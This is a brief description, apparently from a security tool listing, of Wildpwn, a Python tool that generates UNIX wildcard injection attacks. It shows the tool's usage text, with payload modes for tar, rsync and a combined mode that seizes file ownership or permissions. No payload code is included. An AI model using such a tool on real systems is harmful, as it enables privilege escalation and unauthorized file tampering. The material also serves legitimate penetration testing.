Wildpwn is a Python UNIX wildcard attack tool that helps you generate attacks. It’s considered a fairly old-skool attack vector, but it still works quite often.
It goes something like this:
usage: wildpwn.py [-h] [--file FILE] payload folder
Tool to generate unix wildcard attacks
positional arguments:
payload Payload to use: (combined | tar | rsync)
folder Where to write the payloads
optional arguments:
-h, --help show this help message and exit
--file FILE Path to file for taking ownership / change permissions. Use it
with combined attack only.
